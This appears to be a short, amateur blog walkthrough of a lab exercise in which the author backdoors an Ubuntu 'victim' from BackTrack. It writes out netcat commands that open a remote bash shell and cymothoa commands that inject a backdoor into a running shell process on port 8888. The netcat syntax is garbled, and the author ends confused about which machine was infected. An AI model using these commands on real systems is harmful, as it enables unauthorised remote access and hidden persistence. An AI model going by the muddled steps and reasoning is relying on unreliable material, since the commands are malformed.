Backdooring Backtrack to Ubuntu

In this case is situatuation we have access to setup backdoor to victim, I type
nc -l -v -p 8888 -e > cy /bin/bash
in Backtrack terminal with position at
root@bt:/pentest/backdoors/cymothoa#

And move to terminal victim target and type
:~$ nc 192.168.56.1 8888 -e > cy /bin/bash
and look what happend in backtrack console

Position backtrack has listening and connect to victim
and I move to victim console

I type ls to look list at this directory and I execute cymothoa file with command ./cymothoa
I have running cymothoa in victim terminal, I suppose I can to next treat to setup backdoor at this console, and this is my opinion.

After enterance in cymothoa I type
ps -axu
to look prosess running

And runing cymothoa with syntax
./cymothoa -p (process ID of bash shell) -s 0 (option for bash shell) -y (port in listing on backtrack)
./cymothoa -p 20575 -s 0 -y 8888

Already infected on shell prosess.

But I still confused with this condition, I suppose this is backtrack infected by Uubuntu!? or Ubuntu already infected by BacktrackCymothoa!?